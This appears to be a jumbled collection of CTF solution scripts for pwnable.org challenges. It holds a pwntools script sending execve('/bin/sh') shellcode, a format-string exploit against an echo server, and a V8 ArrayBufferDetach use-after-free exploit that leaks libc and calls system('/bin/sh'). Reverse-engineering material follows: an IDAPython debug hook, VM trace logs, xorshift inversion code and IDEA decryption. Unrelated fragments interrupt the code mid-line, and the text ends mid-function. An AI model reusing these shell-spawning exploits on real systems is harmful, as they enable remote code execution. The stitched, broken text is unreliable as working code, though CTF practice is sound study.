'\xf0\x9f\x90\xae' HORSE = '\xf0\x9f\x90\xb4' addrmap = [] ''' p.recvuntil('Miaow miaow miaow') p.sendline(BEER) p.recvuntil('@0x') mmap_addr = int(p.recvline().strip(),16) print hex(mmap_addr) raw_input() #p.recvuntil('Miaow miaow miaow') #p.sendline(BULL) p.recvuntil('Miaow miaow miaow') p.sendline(BEER) p.recvuntil('Miaow miaow miaow') p.sendline(HORSE) ''' def prepare(addr): p.recvuntil('Miaow miaow miaow') p.sendline(HORSE) p.recvuntil('\xf0\x9f\x98\x93') a1 = addrconv(0x49006a90) a2 = addrconv(0x69622fb8) a3 = addrconv(0x68732f6e) a4 = addrconv(0x48504100) a5 = addrconv(0x03bc0c7) a6 = addrconv(0x48900000) a7 = addrconv(0x4890e789) a8 = addrconv(0x3148f631) a9 = addrconv(0x050f90d2) a10 = addrconv(0x58415841) a11 = addrconv(0x58415841) a12 = addrconv(0x000000c3) sh = a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11+a12 sh += addrconv(0x7172d489)*18 sh += addrconv(0x00000206) sh += '\x00' sh += addrconv(addr+0x88) sh += '\x00' sh += addrconv(addr) sh += '\x00' #sh +=(129)*addrconv(0x7172d421) p.send(sh+(129-12-18-6)*addrconv(0x71729090))#nop nop def start_prepare(): for i in range(0x40): p.recvuntil('Miaow miaow miaow') p.sendline(BEER) p.recvuntil('@0x') mmap_addr = int(p.recvline().strip(),16) print hex(mmap_addr) addrmap.append(mmap_addr) prepare(mmap_addr) #p.interactive() while True: try: p = remote('pwnable.org', 31323) start_prepare() p.recvuntil('Miaow miaow miaow') p.sendline(BEER) p.recvuntil('@0x') addr = int(p.recvline().strip(),16) print hex(addr) p.recvuntil('Miaow miaow miaow') p.sendline(HORSE) p.recvuntil('\xf0\x9f\x98\x93') a1 = addrconv(0x49006a90) a2 = addrconv(0x69622fb8) a3 = addrconv(0x68732f6e) a4 = addrconv(0x48504100) a5 = addrconv(0x03bc0c7) a6 = addrconv(0x48900000) a7 = addrconv(0x4890e789) a8 = addrconv(0x3148f631) a9 = addrconv(0x050f90d2) a10 = addrconv(0x58415841) a11 = addrconv(0x58415841) simple echoserver a12 = addrconv(0x000000c3) sh = a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11+a12 sh += addrconv(0x7172d489)*18 sh += addrconv(0x00000206) sh += '\x00' sh += addrconv(addr+0x88) sh += '\x00' sh += addrconv(addr) sh += '\x00' #sh +=(129)*addrconv(0x7172d421) p.send(sh+(129-12-18-6)*addrconv(0x7172d421))#and esp,edx p.sendline('echo homura;cat flag;echo acdtql') print p.recvuntil('acdtql') except: p.close() continue p.interactive() from pwn import * #r = remote("pwnable.org", 12020) #r = process("./simple_echoserver/simple_echoserver") DEBUG = 0 context.log_level = 'debug' libc = ELF("./simple_echoserver/libc-2.27.so") one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c] call_welcome = 0x14c6 ''' 42 canary 43 rbp of main 48 start main 27 stack ''' def pwn(): if DEBUG: gdb.attach(r, ''' b *$rebase(0x1415) b *$rebase(0x14D6) c ''') Chromium RCE r.recvuntil("Your name: ") #name = '%p:%p:%p:%p:%p:%p:%p:%p' name = '%'+str(0x20-0xd)+'c%7$hhn' + '%952277c%' + '*48$c%26$n' r.sendline(name) r.recvuntil("Your phone: ") #pause() r.sendline('1'*0x18) recved = r.recvuntil("Now enjoy yourself!\n", timeout=480) if recved == '': r.close() #sleep(10) payload = '\x00'*0x18+'\xf0' r.sendline(payload) sleep(0.1) r.sendline('~.') sleep(0.1) r.sendline('echo success') r.sendline('cat flag') print r.recv() print r.recv() r.interactive() r.close() if __name__ == "__main__": #pwn() while True: #r = process("./simple_echoserver/simple_echoserver 2>/dev/null", shell=True) r = remote("pwnable.org", 12020) try: pwn() except: r.close() let u64 = (buf) => { let result = 0n; for(var i = 7; i >= 0; i--) { result <<= 8n; result += BigInt(buf[i]); } return result; }; Re babymips https://codescape.mips.com/components/toolchain/nanomips/2018.09-02/downloads.html libobjdump+qemu+gdb flag{}0x4200000 1-9switch0x400798 let p64 = (value) => { let result = new Uint8Array(0x8); for(var i = 0; i < 8; i++) { result[i] = Number(value & 0xffn); value >>= 8n; } return result; }; let sb = new Uint8Array(0x4500); let ss = new Uint8Array(0x4500); %ArrayBufferDetach(sb.buffer); ss.set(sb); let st = new Uint8Array(0x4500); let libc_leak = u64(ss.slice(8, 16)) - 0x3ebca0n; console.log("Libc = " + libc_leak.toString(16)); let system = libc_leak + 0x4F440n; let system_ss = p64(system); let chunk_ptr = libc_leak + 0x3ED8D0n; let chunk_ss = p64(chunk_ptr); let cmd = new Uint8Array([47, 98, 105, 110, 47, 115, 104, 0]); let vvv = new Uint8Array(0x100); vvv.buffer; vvv.set(cmd); let ab = new Uint8Array(0x40); ab.buffer; let ac = new Uint8Array(0x40); ac.buffer; %ArrayBufferDetach(ab.buffer); %ArrayBufferDetach(ac.buffer); ac.set(chunk_ss); %SystemBreak(); let ad = new Uint8Array(0x40); ad.buffer; let ae = new Uint8Array(0x40); ae.buffer; ae.set(system_ss, 0x18); %ArrayBufferDetach(vvv.buffer); while(true) { } (byte_400798[input - 97] / 4 + 1) 0x24 0x4200009*99 0x420054 Happy Tree sub_4a0vm_dispatcher Wow! log case 0: result = v1 == v2; // make them equal from __future__ import print_function #--------------------------------------------------------------------- # Debug notification hook test # # This script start the executable and steps through the first five # instructions. Each instruction is disassembled after execution. # # Original Author: Gergely Erdelyi <[email protected]> # # Maintained By: IDAPython Team # #--------------------------------------------------------------------- from idaapi import * import idc_bc695 class MyDbgHook(DBG_Hooks): """ Own debug hook class that implementd the callback functions """ def dbg_process_start(self, pid, tid, ea, name, base, size): print("Process started, pid=%d tid=%d name=%s" % (pid, tid, name)) def dbg_process_exit(self, pid, tid, ea, code): print("Process exited pid=%d tid=%d ea=0x%x code=%d" % (pid, tid, ea, code)) def dbg_library_unload(self, pid, tid, ea, info): print("Library unloaded: pid=%d tid=%d ea=0x%x info=%s" % (pid, tid, ea, info)) return 0 def dbg_process_attach(self, pid, tid, ea, name, base, size): print("Process attach pid=%d tid=%d ea=0x%x name=%s base=%x size=%x" % (pid, tid, ea, name, base, size)) def dbg_process_detach(self, pid, tid, ea): print("Process detached, pid=%d tid=%d ea=0x%x" % (pid, tid, ea)) return 0 def dbg_library_load(self, pid, tid, ea, name, base, size): print("Library loaded: pid=%d tid=%d name=%s base=%x" % (pid, tid, name, base)) def dbg_bpt(self, tid, ea): #print("Break point at 0x%x pid=%d" % (ea, tid)) # return values: # -1 - to display a breakpoint warning dialog # if the process is suspended. # 0 - to never display a breakpoint warning dialog. # 1 - to always display a breakpoint warning dialog. if ea % 0x1000 == 0x6B5: print('switch case ', end='') v = idc_bc695.GetRegValue('edx') print((v),end=',') v1 = idc_bc695.GetRegValue('edi') v2 = idc_bc695.GetRegValue('eax') print('v1=0x{:x},v2=0x{:x}'.format(v1,v2)) #continue_process() if ea % 0x1000 == 0x6c8: print('return result ', end='') v = idc_bc695.GetRegValue('eax') print(hex(v)) #continue_process() if ea % 0x1000 == 0x6E0: v1 = idc_bc695.GetRegValue('edi') v2 = idc_bc695.GetRegValue('eax') print('if v1('+hex(v1)+')==v2('+hex(v2)+')') return 0 def dbg_suspend_process(self): #print("Process suspended") pass def dbg_exception(self, pid, tid, ea, exc_code, exc_can_cont, exc_ea, exc_info): print("Exception: pid=%d tid=%d ea=0x%x exc_code=0x%x can_continue=%d exc_ea=0x%x exc_info=%s" % ( pid, tid, ea, exc_code & idaapi.BADADDR, exc_can_cont, exc_ea, exc_info)) # return values: # -1 - to display an exception warning dialog # if the process is suspended. # 0 - to never display an exception warning dialog. # 1 - to always display an exception warning dialog. return 0 def dbg_trace(self, tid, ea): print("Trace tid=%d ea=0x%x" % (tid, ea)) # return values: # 1 - do not log this trace event; # 0 - log it return 0 def dbg_step_into(self): print("Step into") self.dbg_step_over() def dbg_run_to(self, pid, tid=0, ea=0): print("Runto: tid=%d" % tid) idaapi.continue_process() def dbg_step_over(self): eip = get_reg_value("EIP") print("0x%x %s" % (eip, GetDisasm(eip))) self.steps += 1 if self.steps >= 5: request_exit_process() else: request_step_over() # Remove an existing debug hook try: if debughook: print("Removing previous hook ...") debughook.unhook() except: pass # Install the debug hook debughook = MyDbgHook() debughook.hook() debughook.steps = 0 # Stop at the entry point ep = get_inf_attr(INF_START_IP) request_run_to(ep) # Step one instruction request_step_over() # Start debugging run_requests() input: 1123456789abcdef if v1(0xd35cb5bfL)==v2(0xa25dc66aL) if v1(0x4fe9499f)==v2(0xaa0036) if v1(0xa00571aeL)==v2(0xc64e001aL) if v1(0xdadb909dL)==v2(0x369d0854) if v1(0x0)==v2(0xf15bcf8fL) if v1(0x7f5acc5a)==v2(0x6bbe1965) if v1(0x0)==v2(0x1966cd91) if v1(0x7f5acc5a)==v2(0xd4c5fbfdL) if v1(0x0)==v2(0xb04a9b1bL) input: 0123456789abcdef if v1(0x6492aa82)==v2(0xa25dc66aL) if v1(0x4fe9499f)==v2(0xaa0036) if v1(0xa00571aeL)==v2(0xc64e001aL) if v1(0xdadb909dL)==v2(0x369d0854) if v1(0x0)==v2(0xf15bcf8fL) if v1(0x7f5acc5a)==v2(0x6bbe1965) logv1input4bytes9len(input)==36 scanfflaginputv1v2 handlerv2 v1dwordlog if v1(0x0)==v2(0x1966cd91) if v1(0x7f5acc5a)==v2(0xd4c5fbfdL) if v1(0x0)==v2(0xb04a9b1bL) input: 0123456789abcdef0123456789abcdef0123 if v1(0x6492aa82)==v2(0xa25dc66aL) if v1(0x4fe9499f)==v2(0xaa0036) if v1(0xa00571aeL)==v2(0xc64e001aL) if v1(0xdadb909dL)==v2(0x369d0854) if v1(0x6492aa82)==v2(0xf15bcf8fL) if v1(0x4fe9499f)==v2(0x6bbe1965) if v1(0xa00571aeL)==v2(0x1966cd91) if v1(0xdadb909dL)==v2(0xd4c5fbfdL) if v1(0x6492aa82)==v2(0xb04a9b1bL) input: flag{56789abcdef0123456789abcdef012} if v1(0xa25dc66aL)==v2(0xa25dc66aL) if v1(0x8a8cea8bL)==v2(0xaa0036) if v1(0xa00571aeL)==v2(0xc64e001aL) if v1(0xdadb909dL)==v2(0x369d0854) if v1(0x6492aa82)==v2(0xf15bcf8fL) if v1(0x4fe9499f)==v2(0x6bbe1965) if v1(0xa00571aeL)==v2(0x1966cd91) if v1(0xdadb909dL)==v2(0xd4c5fbfdL) if v1(0x4936033f)==v2(0xb04a9b1bL) switch case 9,v1=0x57abfdc0,v2=0x67616c66 return result 0x0 switch case 9,v1=0x57abfdb0,v2=0x0 return result 0x0 switch case 8,v1=0x0,v2=0x186a0 return result 0x1 switch case 1,v1=0x67616c66,v2=0xd return result 0x2d8cc000 switch case 3,v1=0x67616c66,v2=0x2d8cc000 return result 0x4aedac66 switch case 1,v1=0x67616c66,v2=0xd return result 0x2d8cc000 switch case 3,v1=0x67616c66,v2=0x2d8cc000 return result 0x4aedac66 switch case 2,v1=0x4aedac66,v2=0x11 return result 0x2576 switch case 3,v1=0x4aedac66,v2=0x2576 return result 0x4aed8910 switch case 1,v1=0x67616c66,v2=0xd return result 0x2d8cc000 switch case 3,v1=0x67616c66,v2=0x2d8cc000 return result 0x4aedac66 switch case 1,v1=0x67616c66,v2=0xd return result 0x2d8cc000 switch case 3,v1=0x67616c66,v2=0x2d8cc000 return result 0x4aedac66 switch case 2,v1=0x4aedac66,v2=0x11 return result 0x2576 switch case 3,v1=0x4aedac66,v2=0x2576 return result 0x4aed8910 switch case 1,v1=0x4aed8910,v2=0x5 return result 0x5db12200 switch case 3,v1=0x4aed8910,v2=0x5db12200 return result 0x175cab10 switch case 9,v1=0x57abfdc0,v2=0x175cab10 return result 0x0 switch case 4,v1=0x0,v2=0x1 return result 0x1 switch case 9,v1=0x57abfdb0,v2=0x1 return result 0x0 switch case 8,v1=0x1,v2=0x186a0 return result 0x1 switch case 1,v1=0x175cab10,v2=0xd return result 0x95620000L switch case 3,v1=0x175cab10,v2=0x95620000 return result 0x823eab10L switch case 1,v1=0x175cab10,v2=0xd return result 0x95620000L switch case 3,v1=0x175cab10,v2=0x95620000 return result 0x823eab10L switch case 2,v1=0x823eab10,v2=0x11 return result 0x411f switch case 3,v1=0x823eab10,v2=0x411f return result 0x823eea0fL switch case 1,v1=0x175cab10,v2=0xd return result 0x95620000L switch case 3,v1=0x175cab10,v2=0x95620000 return result 0x823eab10L switch case 1,v1=0x175cab10,v2=0xd return result 0x95620000L switch case 3,v1=0x175cab10,v2=0x95620000 return result 0x823eab10L switch case 2,v1=0x823eab10,v2=0x11 return result 0x411f switch case 3,v1=0x823eab10,v2=0x411f return result 0x823eea0fL switch case 1,v1=0x823eea0f,v2=0x5 return result 0x47dd41e0 switch case 3,v1=0x823eea0f,v2=0x47dd41e0 return result 0xc5e3abefL switch case 9,v1=0x57abfdc0,v2=0xc5e3abef return result 0x0 switch case 4,v1=0x1,v2=0x1 return result 0x2 switch case 9,v1=0x57abfdb0,v2=0x2 return result 0x0 switch case 8,v1=0x2,v2=0x186a0 return result 0x1 switch case 1,v1=0xc5e3abef,v2=0xd return result 0x757de000 switch case 3,v1=0xc5e3abef,v2=0x757de000 return result 0xb09e4befL switch case 1,v1=0xc5e3abef,v2=0xd return result 0x757de000 switch case 3,v1=0xc5e3abef,v2=0x757de000 return result 0xb09e4befL switch case 2,v1=0xb09e4bef,v2=0x11 return result 0x584f switch case 3,v1=0xb09e4bef,v2=0x584f return result 0xb09e13a0L switch case 1,v1=0xc5e3abef,v2=0xd return result 0x757de000 switch case 3,v1=0xc5e3abef,v2=0x757de000 return result 0xb09e4befL switch case 1,v1=0xc5e3abef,v2=0xd return result 0x757de000 switch case 3,v1=0xc5e3abef,v2=0x757de000 return result 0xb09e4befL switch case 2,v1=0xb09e4bef,v2=0x11 return result 0x584f switch case 3,v1=0xb09e4bef,v2=0x584f return result 0xb09e13a0L switch case 1,v1=0xb09e13a0,v2=0x5 return result 0x13c27400 switch case 3,v1=0xb09e13a0,v2=0x13c27400 return result 0xa35c67a0L switch case 9,v1=0x57abfdc0,v2=0xa35c67a0 return result 0x0 switch case 4,v1=0x2,v2=0x1 return result 0x3 switch case 9,v1=0x57abfdb0,v2=0x3 return result 0x0 switch case 8,v1=0x3,v2=0x186a0 return result 0x1 switch case 1,v1=0xa35c67a0,v2=0xd dword return result 0x8cf40000L switch case 3,v1=0xa35c67a0,v2=0x8cf40000 return result 0x2fa867a0 switch case 1,v1=0xa35c67a0,v2=0xd return result 0x8cf40000L switch case 3,v1=0xa35c67a0,v2=0x8cf40000 return result 0x2fa867a0 switch case 2,v1=0x2fa867a0,v2=0x11 return result 0x17d4 switch case 3,v1=0x2fa867a0,v2=0x17d4 return result 0x2fa87074 switch case 1,v1=0xa35c67a0,v2=0xd return result 0x8cf40000L switch case 3,v1=0xa35c67a0,v2=0x8cf40000 return result 0x2fa867a0 switch case 1,v1=0xa35c67a0,v2=0xd return result 0x8cf40000L switch case 3,v1=0xa35c67a0,v2=0x8cf40000 return result 0x2fa867a0 switch case 2,v1=0x2fa867a0,v2=0x11 return result 0x17d4 switch case 3,v1=0x2fa867a0,v2=0x17d4 return result 0x2fa87074 switch case 1,v1=0x2fa87074,v2=0x5 return result 0xf50e0e80L switch case 3,v1=0x2fa87074,v2=0xf50e0e80 return result 0xdaa67ef4L switch case 9,v1=0x57abfdc0,v2=0xdaa67ef4 return result 0x0 switch case 4,v1=0x3,v2=0x1 return result 0x4 switch case 9,v1=0x57abfdb0,v2=0x4 return result 0x0 switch case 8,v1=0x4,v2=0x186a0 return result 0x1 switch case 1,v1=0xdaa67ef4,v2=0xd return result 0xcfde8000L switch case 3,v1=0xdaa67ef4,v2=0xcfde8000 return result 0x1578fef4 switch case 1,v1=0xdaa67ef4,v2=0xd #include<stdio.h> #include <stdlib.h> #include "ida.h" int main() { char flag[] = { 'f','l','a','g' }; dwordlog uint32 init = *(uint32*)flag; uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6; for (int i = 0; i < 0x186a0; i++) { tmp1 = init << 0xd; tmp2 = tmp1 ^ init; tmp3 = tmp2 >> 0x11; tmp4 = tmp3 ^ tmp2; tmp5 = tmp4 << 5; init = tmp5 ^ tmp4; } printf("0x%x\n", init); return 0; } switch case 6,v1=0x1,v2=0x2 return result 0x2 switch case 6,v1=0x2,v2=0x3 return result 0x6 switch case 4,v1=0x6,v2=0x1 return result 0x7 switch case 6,v1=0x7,v2=0x2 return result 0xe switch case 6,v1=0xe,v2=0x3 return result 0x2a switch case 4,v1=0x2a,v2=0x1 return result 0x2b switch case 6,v1=0x2b,v2=0x2 return result 0x56 switch case 6,v1=0x56,v2=0x5 return result 0x1ae switch case 4,v1=0x1ae,v2=0x1 return result 0x1af switch case 6,v1=0x1af,v2=0x2 return result 0x35e switch case 4,v1=0x35e,v2=0x1 return result 0x35f switch case 6,v1=0x35f,v2=0x2 return result 0x6be switch case 6,v1=0x6be,v2=0x3 return result 0x143a switch case 6,v1=0x143a,v2=0x3 return result 0x3cae switch case 6,v1=0x3cae,v2=0x3 return result 0xb60a switch case 4,v1=0xb60a,v2=0x1 return result 0xb60b switch case 6,v1=0xb60b,v2=0x2 return result 0x16c16 switch case 6,v1=0x16c16,v2=0x2 return result 0x2d82c switch case 4,v1=0x2d82c,v2=0x1 return result 0x2d82d switch case 6,v1=0x2d82d,v2=0x2 return result 0x5b05a switch case 4,v1=0x5b05a,v2=0x1 return result 0x5b05b switch case 6,v1=0x5b05b,v2=0x2 return result 0xb60b6 switch case 6,v1=0xb60b6,v2=0x2 return result 0x16c16c switch case 6,v1=0x16c16c,v2=0x2 return result 0x2d82d8 switch case 6,v1=0x2d82d8,v2=0x2 return result 0x5b05b0 switch case 6,v1=0x5b05b0,v2=0x3 return result 0x1111110 switch case 4,v1=0x1111110,v2=0x1 return result 0x1111111 switch case 6,v1=0x1111111,v2=0x2 return result 0x2222222 switch case 6,v1=0x2222222,v2=0x2 return result 0x4444444 switch case 6,v1=0x4444444,v2=0x2 return result 0x8888888 switch case 6,v1=0x8888888,v2=0x2 return result 0x11111110 switch case 4,v1=0x11111110,v2=0x1 return result 0x11111111 switch case 6,v1=0x11111111,v2=0x2 return result 0x22222222 switch case 6,v1=0x22222222,v2=0x5 return result 0xaaaaaaaaL switch case 3,v1=0x3736357b,v2=0xaaaaaaaa return result 0x9d9c9fd1L switch case 9,v1=0x5709bde0,v2=0x9d9c9fd1 return result 0x0 switch case 9,v1=0x5709bdd0,v2=0x0 return result 0x0 switch case 8,v1=0x0,v2=0x186a0 return result 0x1 switch case 1,v1=0x9d9c9fd1,v2=0xd return result 0x93fa2000L switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000 return result 0xe66bfd1 switch case 1,v1=0x9d9c9fd1,v2=0xd return result 0x93fa2000L switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000 return result 0xe66bfd1 switch case 2,v1=0xe66bfd1,v2=0x11 return result 0x733 switch case 3,v1=0xe66bfd1,v2=0x733 return result 0xe66b8e2 switch case 1,v1=0x9d9c9fd1,v2=0xd return result 0x93fa2000L switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000 return result 0xe66bfd1 switch case 1,v1=0x9d9c9fd1,v2=0xd return result 0x93fa2000L switch case 3,v1=0x9d9c9fd1,v2=0x93fa2000 return result 0xe66bfd1 switch case 2,v1=0xe66bfd1,v2=0x11 return result 0x733 switch case 3,v1=0xe66bfd1,v2=0x733 return result 0xe66b8e2 switch case 1,v1=0xe66b8e2,v2=0x5 return result 0xccd71c40L #include<stdio.h> #include <stdlib.h> #include "ida.h" int main() { char *flag = (char*)"0123456789abcdef0123456789abcdef0123"; for (int part = 0; part < 9; part++) { uint32 init = *(uint32*)(flag + 0); if (part % 2) { init ^= 0xaaaaaaaa; } uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6; for (int i = 0; i < 0x186a0; i++) { tmp1 = init << 0xd; tmp2 = tmp1 ^ init; tmp3 = tmp2 >> 0x11; tmp4 = tmp3 ^ tmp2; tmp5 = tmp4 << 5; init = tmp5 ^ tmp4; } printf("0x%x\n", init); } return 0; } #include<stdio.h> #include <stdlib.h> #include "ida.h" void dec(uint32* dst) { for (int part = 0; part < 9; part++) { uint32 init = dst[part]; uint32 tmp1, tmp2, tmp3, tmp4, tmp5, tmp6; for (int i = 0; i < 0x186a0; i++) { tmp2 = (init << 0xd) ^ init; tmp4 = (tmp2 >> 0x11) ^ tmp2; init = (tmp4 << 5) ^ tmp4; } if (part % 2) { init ^= 0xaaaaaaaa; } printf("0x%x\n", init); } } uint32 trans1(uint32 inpt) { return (inpt << 0xd) ^ inpt; } uint32 trans2(uint32 inpt) { return (inpt >> 0x11) ^ inpt; } uint32 trans3(uint32 inpt) { return (inpt << 5) ^ inpt; } uint32 detrans1(uint32 inpt) { uint32 tmp,final=0,last=0; tmp = inpt & 0b1111111111111; last ^= tmp; final |= tmp; inpt >>= 0xd; tmp = inpt & 0b1111111111111; last ^= tmp; final |= last << 0xd; inpt >>= 0xd; tmp = inpt & 0b1111111111111; last ^= tmp; final |= last << (0xd+ 0xd); return final; } uint32 detrans2(uint32 inpt) { uint32 tmp = inpt >> 15; return (tmp>>2) ^ inpt; } uint32 detrans3(uint32 inpt) { uint32 tmp, final = 0, last = 0; tmp = inpt & 0b11111; last ^= tmp; final |= tmp; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 0x5; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 10; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 15; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 20; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 25; inpt >>= 0x5; tmp = inpt & 0b11111; last ^= tmp; final |= last << 30; return final; } void test() { printf("0x%x\n", detrans1(trans1(0x12345678))); printf("0x%x\n", detrans2(trans2(0x12345678))); printf("0x%x\n", detrans3(trans3(0x12345678))); } J jccint3jcc int main() { // char* flag = (char*)"0123456789abcdef0123456789abcdef0123"; uint32 dst[] = { 0xa25dc66a,0xaa0036 ,0xc64e001a ,0x369d0854 ,0xf15bcf8fL ,0x6bbe1965 ,0x1966cd91 ,0xd4c5fbfdL ,0xb04a9b1b }; uint32 src[10] = { 0 }; for (int part = 0; part < 9; part++) { uint32 init = dst[part]; for (int i = 0; i < 0x186a0; i++) { init = detrans1(detrans2(detrans3(init))); } if (part % 2) { init ^= 0xaaaaaaaa; } src[part] = init; } printf("%s\n", src); return 0; } tql = [ 10486784, 20972929, 2178942465, 2200307393, 2246576002, 2250639427, 10488100, 10488256, 2189429346, 2210532130, 2252344291, 2255621283, 2157972868, 1082396128, 2221018978, 2271088675, 2281443555, 2157973956, 1084232448, 2233603170, 2292716835, 2157975059, 2157975284, 1169037536, 2304252307, 2308184659, 2157976372, 1084235200, 2312117875, 2316050227, 2157977620, 1084236480, 2156143475, 2322342963, 2157978900, 1255418048, 2333354355, 2335451699, 2157980436, 1084239600, 2339778467, 2157981828, 1290416352, 1084240304, 1084240704, 2346464931, 117455492, 1272986272, 2353806435, 130039668, 1280327568, 1084245232, 1084246640, 1084247120, 1084247600, 1084248080, 1084248848, 1084250192, 1084250448, 1084250976, 1084251792, 1084252688, 1084253952, 0 ] base_addr = 0x7FF638907970 patch_table = { 0: { 0: [0xeb], subkeysIDEAXTEAkey 1: [0xe9] }, 1: { 0: [0x7e], 2: [0x0f, 0x8e] }, 2: { 0: [0x7f], 2: [0x0f, 0x8f] }, 3: { 0: [0x74], 2: [0x0f, 0x84] }, 4: { 0: [0x75], 2: [0x0f, 0x85] }, } for i in range(63): a = tql[i] jmp_type = a & 0xF src_addr = (a >> 4) & 0x1FFF inst_len = a >> 30 dst_addr = (a >> 17) & 0x1FFF offset = dst_addr - src_addr if (inst_len == 0): offset = (offset - 2) & 0xFF elif (inst_len == 1): offset = (offset - 5) & 0xFFFFFFFF else: offset = (offset - 6) & 0xFFFFFFFF cur = 0 for byte in patch_table[jmp_type][inst_len]: idaapi.patch_byte(base_addr + src_addr + cur, byte) cur += 1 if (inst_len == 0): idaapi.patch_byte(base_addr + src_addr + cur, offset) else: for j in range(4): idaapi.patch_byte(base_addr + src_addr + cur, offset & 0xFF) cur += 1 offset >>= 8 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <string.h> #include <stdlib.h> #include "ida.h" typedef unsigned int uint32_t; typedef int int32_t; typedef unsigned short uint16_t; typedef void (*idea_gen_key)(uint16_t[52], uint16_t[8]); inline uint32 __ROL4__(uint32 value, int count) { return __ROL__((uint32)value, count); } unsigned char data[32] = { 0x0F, 0xDA, 0x04, 0xD8, 0xD0, 0xAB, 0xF4, 0xE5, 0x3F, 0xBD, 0x61, 0x7C, 0x6B, 0x13, 0x7C, 0xC4, 0xF9, 0xA0, 0x54, 0x33, 0xA7, 0x60, 0x50, 0xDA, 0x20, 0xE2, 0x7E, 0xE1, 0x13, 0x0B, 0xB2, 0x25 }; unsigned char g_keys[] = { 0x43, 0x54, 0x46, 0x54, 0x51, 0x5F, 0x41, 0x55, 0x53, 0x4C, 0x32, 0x5F, 0x32, 0x30, 0x5F, 0x30, 0xBE, 0x8C, 0xAA, 0xA2, 0x98, 0x82, 0xBE, 0xA6, 0x60, 0x64, 0x60, 0x64, 0xA8, 0xBE, 0xA8, 0x86, 0x05, 0x55, 0x4D, 0x31, 0xC8, 0x7C, 0xC8, 0xC0, 0x7D, 0xC1, 0x0D, 0x51, 0x19, 0x51, 0x45, 0x7D, 0xF9, 0x9A, 0x81, 0x91, 0x82, 0x91, 0xA2, 0xFA, 0xA2, 0x1A, 0xFA, 0x32, 0xAA, 0x8A, 0x62, 0x0A, 0x23, 0x03, 0xF5, 0x05, 0x35, 0x44, 0x65, 0x44, 0x15, 0xF5, 0x14, 0x54, 0x35, 0xC5, 0x23, 0xF3, 0x88, 0xEA, 0x88, 0x6A, 0xEA, 0xCB, 0xA8, 0x2A, 0x8A, 0x29, 0xE6, 0x6B, 0x06, 0x46, 0x0B, 0x46, 0x97, 0x11, 0x55, 0xD4, 0x53, 0x50, 0xD7, 0x14, 0x8B, 0x48, 0xAB, 0x2B, 0xAD, 0xAF, /* 0x2A, 0x28, 0x06, 0x46, 0x0B, 0x46, 0x3B, 0xF7, 0x76, 0xD6, 0x58, 0xD5, 0x2F, 0xDD, 0x88, 0xEA, 0x88, 0x6A, 0xAC, 0xF7, 0xCB, 0x3A, 0xEC, 0xAB, 0x4A, 0x2B, 0x35, 0x44, 0x65, 0x44, 0x61, 0xB9, 0xDD, 0xFC, 0x9E, 0xF5, 0x0F, 0x65, 0xA2, 0x1A, 0xFA, 0x32, 0x4F, 0xC4, 0x7E, 0x6E, 0x7F, 0x6E, 0x3F, 0x12, 0x19, 0x51, 0x45, 0x7D, 0x6A, 0x47, 0x83, 0x3E, 0x38, 0x3F, 0xC5, 0x9A, 0x05, 0x55, 0x4D, 0x31, 0x11, 0x6C, 0x58, 0x41, 0xA0, 0x9B, 0xBD, 0x8C, 0x98, 0x82, 0xBE, 0xA6, 0xE7, 0x5A, 0x42, 0x73, 0xA1, 0xCF, 0x95, 0x43, */ //0x53, 0x4C, 0x32, 0x5F, //0xD4, 0xBD, 0xBA, 0xAB, 0xAF, 0xA0, 0x21, 0x04 }; uint16_t mulMod65537(uint16_t a, uint16_t b) { uint32_t c; uint16_t hi, lo; if (a == 0) return -b + 1; if (b == 0) return -a + 1; c = (uint32_t)a * (uint32_t)b; hi = c >> 16; lo = c; if (lo > hi) return lo - hi; return lo - hi + 1; } int modInverse(int a, int m) { int m0 = m, t, q; int x0 = 0, x1 = 1; if (m == 1) return 0; while (a > 1) { // q is quotient q = a / m; t = m; // m is remainder now, process same as // Euclid's algo m = a % m; a = t; t = x0; x0 = x1 - q * x0; x1 = t; } // Make x1 positive if (x1 < 0) x1 += m0; return x1; } void encrypt(uint16_t subKey[52], uint16_t key[8]) { for (int i = 0; i < 52; i++) { subKey[i] = ((uint16_t*)g_keys)[i]; } return; int i; // Generate encryption keys for (i = 0; i < 52; i++) { if (i < 8) subKey[i] = key[i]; else if (i % 8 == 6) subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 14] >> 7); else if (i % 8 == 7) subKey[i] = (subKey[i - 15] << 9) | (subKey[i - 14] >> 7); else subKey[i] = (subKey[i - 7] << 9) | (subKey[i - 6] >> 7); } } void decrypt(uint16_t subKey[52], uint16_t key[8]) { int i; uint16_t K[52]; // Compute encryption keys encrypt(K, key); // Generate dencryption keys subKey[0] = modInverse(K[48], 65537); subKey[1] = -K[49]; subKey[2] = -K[50]; subKey[3] = modInverse(K[51], 65537); // printf("Keys: %04X %04X %04X %04X\n", subKey[0], subKey[1], subKey[2], subKey[3]); for (i = 4; i < 52; i += 6) { subKey[i + 0] = K[52 - i - 2]; subKey[i + 1] = K[52 - i - 1]; subKey[i + 2] = modInverse(K[52 - i - 6], 65537); if (i == 46) { subKey[i + 3] = -K[52 - i - 5]; subKey[i + 4] = -K[52 - i - 4]; } else { subKey[i + 3] = -K[52 - i - 4]; subKey[i + 4] = -K[52 - i - 5]; } subKey[i + 5] = modInverse(K[52 - i - 3], 65537); // printf("Keys: %04X %04X %04X %04X %04X %04X\n", subKey[i], subKey[i + 1], subKey[i + 2], subKey[i + 3], subKey[i + 4], subKey[i + 5]); } } void IDEA(uint16_t data[4], uint16_t key[8], idea_gen_key func) { int i; uint16_t subKey[52]; // Generate keys func(subKey, key); uint16_t X0; uint16_t X1; uint16_t X2; uint16_t X3; if (func == decrypt) { X0 = _byteswap_ushort(data[0]); X1 = 